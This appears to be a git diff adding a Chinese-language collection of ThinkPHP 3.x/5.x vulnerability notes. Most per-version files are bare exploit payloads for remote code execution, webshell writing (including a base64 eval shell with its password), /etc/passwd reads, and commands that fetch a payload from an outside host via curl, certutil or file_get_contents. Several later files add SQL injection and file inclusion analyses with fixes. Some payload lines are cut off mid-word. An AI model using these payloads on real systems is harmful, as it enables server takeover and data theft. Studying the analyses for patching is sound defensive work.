> [https://h3art3ars.github.io/2019/12/16/Thinkphp3-2-3-5-0-10%E7%BC%93%E5%AD%98%E6%BC%8F%E6%B4%9E/](https://h3art3ars.github.io/2019/12/16/Thinkphp3-2-3-5-0-10缓存漏洞/)

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 199 KiB

View File

@ -0,0 +1,40 @@
Thinkphp 3.x order by 注入漏洞
==============================
一、漏洞简介
------------
ThinkPHP在处理order
by排序时当排序参数可控且为关联数组(key-value)时由于框架未对数组中key值作安全过滤处理攻击者可利用key构造SQL语句进行注入该漏洞影响ThinkPHP
3.2.3、5.1.22及以下版本。
二、漏洞影响
------------
ThinkPHP 3.2.3、5.1.22及以下版本。
三、复现过程
------------
ThinkPHP3.2.3漏洞代码(/Library/Think/Db/Driver.class.php
![](./resource/Thinkphp3.xorderby注入漏洞/media/rId24.png)
ThinkPHP 5.1.22漏洞代码framework/library/think/db/Query.php
![](./resource/Thinkphp3.xorderby注入漏洞/media/rId25.png)
从上面漏洞代码可以看出,当\$field参数为关联数组key-valuekey值拼接到返回值中SQL语句最终绕过了框架安全过滤得以执行。
### ThinkPHP 3.2.3
访问如下URL即可进行漏洞利用
http://www.0-sec.org/ThinkPHP/?order[updatexml(1,concat(0x3a,user()),1)]=1
![](./resource/Thinkphp3.xorderby注入漏洞/media/rId27.png)
参考链接
--------
> <https://mp.weixin.qq.com/s?__biz=MzIwNTcxNTczMQ==&mid=2247483907&idx=1&sn=3c1f9874878c92d10cff30c1c263fa8a&scene=21#wechat_redirect>

View File

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 18 KiB

View File

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 42 KiB

View File

@ -0,0 +1,59 @@
Thinkphp 5.0.1
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
### 1、判断是否存在漏洞
#### poc1
http://wwww.com/public
s=phpinfo()&_method=__construct&filter=assert
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
#### poc2
http:/xxxx.com/?s=index/index/index
s=ipconfig&_mehthod=__construct$method=&filter[]=system
### 2、深入利用
使用post提交
#### 1、使用assert函数
s=phpinfo()&_method=__construct&filter=assert
#### 2、include函数可以根据此函数查看一些文件及其配置
s=include("/etc/passwd")&_method=__construct&filter=assert
#### 3、file\_put\_contents函数可以直接写入文件
s=file_put_contents('/data/wwwroot/www.0-sec.org/application/index/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
#### 4、读取文件
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../application/.htaccess
s=include("../application/.htaccess")&_method=__construct&filter=assert
//ps:如果不加.. 请加上完整路径
#### 5、var\_dump函数可以查看该路径下的文件文件夹
s=var_dump(scandir('../application/'))&_method=__construct&filter=assert
#### 6、复制文件
s=copy("/data/wwwroot/data.tar", "/data/wwwroot/www.0-sec.org/public/data.tar")&_method=__construct&filter=asser

View File

@ -0,0 +1,18 @@
Thinkphp 5.0.10
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
post提交
http://www.0-sec.org/public/index.php?s=index/index/index
s=whoami&_method=__construct&method&filter[]=syste

View File

@ -0,0 +1,13 @@
Thinkphp 5.0.11
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
http://www.0-sec.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.ph

View File

@ -0,0 +1,26 @@
Thinkphp 5.0.12
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> www.0-sec.org/?s=index/index
post
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

View File

@ -0,0 +1,36 @@
Thinkphp 5.0.13
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> post提交
www.0-sec.org/?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
### 补充
> 有captcha路由时无需debug=true
>
> http://www.0-sec.org/?s=captcha/calc
POST
_method=__construct&filter[]=system&method=GET

View File

@ -0,0 +1,30 @@
Thinkphp 5.0.14
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
### 1、常规命令
?s=index/think\app/invokefunction&function=&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php.jpg&vars[1][]=%3C?php%20phpinfo();?3E
### 2、eval\'\'和assert\'\')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
### 3、基于php7.2环境下
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
写进去发现转义了尖括号
### 4、通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.ph

View File

@ -0,0 +1,34 @@
Thinkphp 5.0.15
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> https://www.0-sec.org/?s=index/index
post
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
> 有captcha路由时无需debug=true
>
> https://www.0-sec.org/?s=captcha/calc
POST
_method=__construct&filter[]=system&method=GET

View File

@ -0,0 +1,46 @@
Thinkphp 5.0.16
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> https://www.0-sec.org/?s=index/index
post
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
> 有captcha路由时无需debug=true
>
> https://www.0-sec.org/?s=captcha/calc
POST
_method=__construct&filter[]=system&method=GET
> 写shell
post
s=file_put_contents('/绝对路径/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
密码aaaa
> 直接菜刀连
http://wwww.0-sec.org/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

View File

@ -0,0 +1,34 @@
Thinkphp 5.0.17
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> https://www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
> 有captcha路由时无需debug=true
>
> https://www.0-sec.org/?s=captcha/calc
POST
_method=__construct&filter[]=system&method=GET

View File

@ -0,0 +1,22 @@
Thinkphp 5.0.18
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
### 1、windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
### 2、使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
由于根目录没写权限,所

View File

@ -0,0 +1,34 @@
Thinkphp 5.0.19
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> https://www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
> 有captcha路由时无需debug=true
>
> https://www.0-sec.org/?s=captcha/calc
POST
_method=__construct&filter[]=system&method=GET

View File

@ -0,0 +1,27 @@
Thinkphp 5.0.2
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
> getshell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

View File

@ -0,0 +1,34 @@
Thinkphp 5.0.20
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> https://www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
> 有captcha路由时无需debug=true
>
> https://www.0-sec.org/?s=captcha/calc
POST
_method=__construct&filter[]=system&method=GET

View File

@ -0,0 +1,27 @@
Thinkphp 5.0.21
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
### 1、poc
http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
### 2、poc
http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
### 3、poc
http://0-sec.org/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami");
### 4、poc
http://0-sec.org/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian])

View File

@ -0,0 +1,19 @@
Thinkphp 5.0.22
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
### 1、poc
http://0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
### 2、poc
http://0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=

View File

@ -0,0 +1,23 @@
Thinkphp 5.0.23
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
POST /index.php?s=captcha HTTP/1.1
Host: yuorip
Accept-Encoding: gzip, deflate
Accept: */* Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoam

View File

@ -0,0 +1,27 @@
Thinkphp 5.0.3
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
> getshell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

View File

@ -0,0 +1,27 @@
Thinkphp 5.0.4
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
> getshell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

View File

@ -0,0 +1,19 @@
Thinkphp 5.0.5
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
waf对eval进行了拦截
禁止了assert函数对eval函数后面的括号进行了正则过滤
对file\_get\_contents函数后面的括号进行了正则过滤
http://www.0-sec.org/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

View File

@ -0,0 +1,27 @@
Thinkphp 5.0.6
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
> getshell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

View File

@ -0,0 +1,27 @@
Thinkphp 5.0.7
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
> getshell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

View File

@ -0,0 +1,33 @@
Thinkphp 5.0.8
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
http://wwww.0-sec.org/public
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
c=system&f=calc&_method=filter
> 写入文件
http://wwww.0-sec.org/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=uploads/1.php&vars[1][]=<?php ?>
> 直接用菜刀连
http://wwww.0-sec.org/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
> getshell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

View File

@ -0,0 +1,26 @@
Thinkphp 5.0.9
==============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
> www.0-sec.org/?s=index/index
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
> 写shell
POST
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=asser

View File

@ -0,0 +1,19 @@
Thinkphp 5.1.18
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
### 1、常规poc
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
### 2、所有目录都无写入权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1]

View File

@ -0,0 +1,33 @@
Thinkphp 5.1.29
===============
一、漏洞简介
------------
二、漏洞影响
------------
三、复现过程
------------
### 1、代码执行
http://www.0-sec.org/?s=index/\think\Request/input&filter=phpinfo&data=1
http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
### 2、命令执行
http://www.0-sec.org/?s=index/\think\Request/input&filter=system&data=操作系统命令
http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
### 3、文件写入
http://www.0-sec.org/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://www.0-sec.org/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3

View File

@ -0,0 +1,113 @@
Thinkphp 5.x 命令执行漏洞说明
=============================
**先简单说明一下吧5.x我们这里罗列了目前碰到的全部tp系列的对应版本漏洞我在这里简要说明一下不看别后悔**
> tp框架系列中5.0.x 跟 5.1.x 中各个系列里的poc是几乎为通用的
>
> 比如
> 5.0.1中某个poc在5.0.3中也是可以用的也就是说当我们碰到5.0.8的时候可以尝试用5.0.1
> 或 5.0.5等 5.0.x 系列的poc去尝试使用
>
> 5.1.x 系列同理
执行流程:
----------
首先发起请求-\>开始路由检测-\>获取pathinfo信息-\>路由匹配-\>开始路由解析-\>获得模块、控制器、操作方法调度信息-\>开始路由调度-\>解析模块和类名-\>组建命名空间\>查找并加载类-\>实例化控制器并调用操作方法-\>构建响应对象-\>响应输出-\>日志保存-\>程序运行结束
漏洞原因:
----------
路由控制不严谨默认不开启强制路由从而可以任意调用Thinkphp的类库
主要有俩种方法,**1.Request中的变量覆盖导致RCE
2.路由控制不严谨导致的RCE**
Request中的变量覆盖导致RCE
--------------------------
版本名 是否可被攻击 攻击条件5.0.0 否 无5.0.1 否 无5.0.2 否 无5.0.3 否 无5.0.4 否 无5.0.5 否 无5.0.6 否 无5.0.7 否 无5.0.8 是 无需开启debug5.0.9 是 无需开启debug5.0.10 是 无需开启debug5.0.11 是 无需开启debug5.0.12 是 无需开启debug5.0.13 是 需开启debug5.0.14 是 需开启debug5.0.15 是 需开启debug5.0.16 是 需开启debug5.0.17 是 需开启debug5.0.18 是 需开启debug5.0.19 是 需开启debug5.0.20 否 无5.0.21 是 需开启debug5.0.22 是 需开启debug5.0.23 是 需开启debug
路由控制不严谨导致的RCE
-----------------------
> 5.0.23\--5.1.31版本
补充
----
> 由于受windows系统的影响会导致部分payload在windows主机无法使用
>
> 并且由于windows自动加载类加载不到想要的类文件所以能够下手的就是在框架加载的时候已经加载的类。
**5.1是下面这些:**
think\Loader
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File
**5.0 的有:**
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader
**两个版本公有的是:**
think\Route
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log
本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)
所以payload为上述类的利用方法是可以兼容windows和linux多个平台的兼容多个平台有什么用呢插件批量可以减少误判等一条payload通用一把梭多好。

View File

@ -0,0 +1,142 @@
5.0.0 \<= Thinkphp \<= 5.0.21 & 5.1.3\<=ThinkPHP5\<=5.1.25
==========================================================
一、漏洞简介
------------
本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞(所有 **Mysql**
聚合函数相关方法均存在注入)。本次漏洞存在于所有 **Mysql**
聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进
**SQL** 语句,最终导致 **SQL注入漏洞** 的产生。
漏洞概要
--------
二、漏洞影响
------------
5.0.0\<=ThinkPHP\<=5.0.21
5.1.3\<=ThinkPHP5\<=5.1.25
三、复现过程
------------
不同版本 **payload** 需稍作调整:
 **5.0.0\~5.0.21** 、 **5.1.35.1.10**
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
**5.1.115.1.25**
id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
漏洞环境
--------
通过以下命令获取测试环境代码:
composer create-project --prefer-dist topthink/think=5.1.25 tpdemo
**composer.json** 文件的 **require** 字段设置成如下:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.25"
},
然后执行 `composer update` ,并将
**application/index/controller/Index.php** 文件代码设置如下:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}
**config/database.php** 文件中配置数据库相关信息,并开启
**config/app.php** 中的 **app\_debug** 和 **app\_trace**
。创建数据库信息如下:
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');
### poc
http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
访问链接,即可触发 **SQL注入漏洞** 。(没开启 **app\_debug** 是无法看到
**SQL** 报错信息的)
![1.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId27.png)
### 漏洞分析
首先在官方发布的 **5.1.26** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
![2.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId29.png)
我们可以查阅其 **commit** 记录,发现其改进了数据库驱动,代码中多了检测特殊字符的片段。接下来我们直接来分析代码。
![3.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId30.png)
首先,用户可控数据未经过滤,传入 **Query** 类的 **max**
方法进行聚合查询语句构造,接着调用本类的 **aggregate**
方法。本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在
**SQL注入** 问题。我们看到 **aggregate** 方法又调用了 **Mysql** 类的
**aggregate** 方法,在该方法中,我们可以明显看到程序将用户可控变量
**\$field** ,经过 **parseKey** 方法处理后,与 **SQL**
语句进行了拼接。下面我们就来具体看看 **parseKey** 方法。
![4.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId31.png)
**parseKey**
方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号。经过
**parseKey** 方法处理后,程序又回到了上图的 **\$this-\>value()**
方法中,该方法会调用 **Builder** 类的 **select** 方法来构造 **SQL**
语句。这个方法应该说是在分析 **ThinkPHP**
漏洞时,非常常见的了。其无非就是使用 **str\_replace** 方法,将变量替换到
**SQL** 语句模板中。这里,我们重点关注 **parseField**
方法,因为用户可控数据存储在 **\$options\[\'field\'\]**
变量中并被传入该方法。
![5.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId32.png)
进入 **parseField** 方法,我们发现用户可控数据只是经过 **parseKey**
方法处理,并不影响数据,然后直接用逗号拼接,最终直接替换进 **SQL**
语句模板里,导致 **SQL注入漏洞** 的发生
![6.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId33.png)
### 漏洞修复
官方的修复方法是:当匹配到除了 **字母、点号、星号**
以外的字符时,就抛出异常。
![3.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId35.png)
### 攻击总结
最后,再通过一张攻击流程图来回顾整个攻击过程。
![7.png](./resource/5.0.0<=Thinkphp<=5.0.21sql注入漏洞/media/rId37.png)
参考链接
--------
> https://github.com/Mochazz/ThinkPHP-Vuln

View File

@ -0,0 +1,111 @@
5.0.0 \<= Thinkphp \<= 5.0.18 & 5.1.0 \<= ThinkPHP \<= 5.1.10 文件包含漏洞
==========================================================================
一、漏洞简介
------------
本次漏洞存在于 **ThinkPHP**
模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致
**文件包含漏洞** 的产生。
二、漏洞影响
------------
5.0.0 \<= Thinkphp \<= 5.0.18
5.1.0 \<= ThinkPHP \<= 5.1.10
三、复现过程
------------
### 漏洞环境
通过以下命令获取测试环境代码:
composer create-project --prefer-dist topthink/think=5.0.18 tpdemo
**composer.json** 文件的 **require** 字段设置成如下:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.0.18"
},
然后执行 `composer update` ,并将
**application/index/controller/Index.php** 文件代码设置如下:
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}
创建 **application/index/view/index/index.html**
文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马
**1.jpg** 放至 **public** 目录下(模拟上传图片操作)。
### poc
http://0-sec.org:8000/index/index/index?cacheFile=demo.php
接着访问链接,即可触发 **文件包含漏洞**
![1.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId26.png)
### 漏洞分析
首先在官方发布的 **5.0.19** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
![2.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId28.png)
我们可以查阅其 **commit** 记录,发现其改进了模板引擎,其中存在危险函数
**extract** ,有可能引发变量覆盖漏洞。接下来,我们直接跟进代码一探究竟。
![3.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId29.png)
首先,用户可控数据未经过滤,直接通过 **Controller** 类的 **assign**
方法进行模板变量赋值,并将可控数据存在 **think\\View** 类的 **data**
属性中。
![4.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId30.png)
接着,程序开始调用 **fetch**
方法加载模板输出。这里如果我们没有指定模板名称,其会使用默认的文件作为模板,模板路径类似
**当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html**
,如果默认路径模板不存在,程序就会报错。
![5.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId31.png)
我们跟进到 **Template** 类的 **fetch** 方法,可以发现可控变量 **\$vars**
赋值给 **\$this-\>data** 并最终传入 **File** 类的 **read** 方法。而
**read** 方法中在使用了 **extract** 函数后,直接包含了 **\$cacheFile**
变量。这里就是漏洞发生的关键原因(可以通过 **extract** 函数,直接覆盖
**\$cacheFile** 变量,因为 **extract** 函数中的参数 **\$vars**
可以由用户控制)。
![6.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId32.png)
### 漏洞修复
官方的修复方法是:先将 **\$cacheFile** 变量存储在 **\$this-\>cacheFile**
中,在使用 **extract** 函数后,最终 **include** 的变量是
**\$this-\>cacheFile** ,这样也就避免了 **include** 被覆盖后的变量值。
![3.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId34.png)
### 攻击总结
最后,再通过一张攻击流程图来回顾整个攻击过程。
![7.png](./resource/5.0.0<=Thinkphp<=5.0.18文件包含漏洞/media/rId36.png)
参考链接
--------
> https://github.com/Mochazz/ThinkPHP-Vuln

View File

@ -0,0 +1,126 @@
5.0.13 \<= Thinkphp \<= 5.0.15 & 5.1.0 \<= Thinkphp \<= 5.1.5
=============================================================
一、漏洞简介
------------
本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞( **insert**
方法注入)。本次漏洞存在于 **Builder** 类的 **parseData**
方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 **SQL**
语句,导致 **SQL注入漏洞** 的产生。
二、漏洞影响
------------
**5.0.13\<=ThinkPHP\<=5.0.15** 、 **5.1.0\<=ThinkPHP\<=5.1.5**
三、复现过程
------------
通过以下命令获取测试环境代码:
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
**composer.json** 文件的 **require** 字段设置成如下:
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}
然后执行 `composer update` ,并将
**application/index/controller/Index.php** 文件代码设置如下:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}
**application/database.php** 文件中配置数据库相关信息,并开启
**application/config.php** 中的 **app\_debug** 和 **app\_trace**
。创建数据库信息如下:
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
### poc
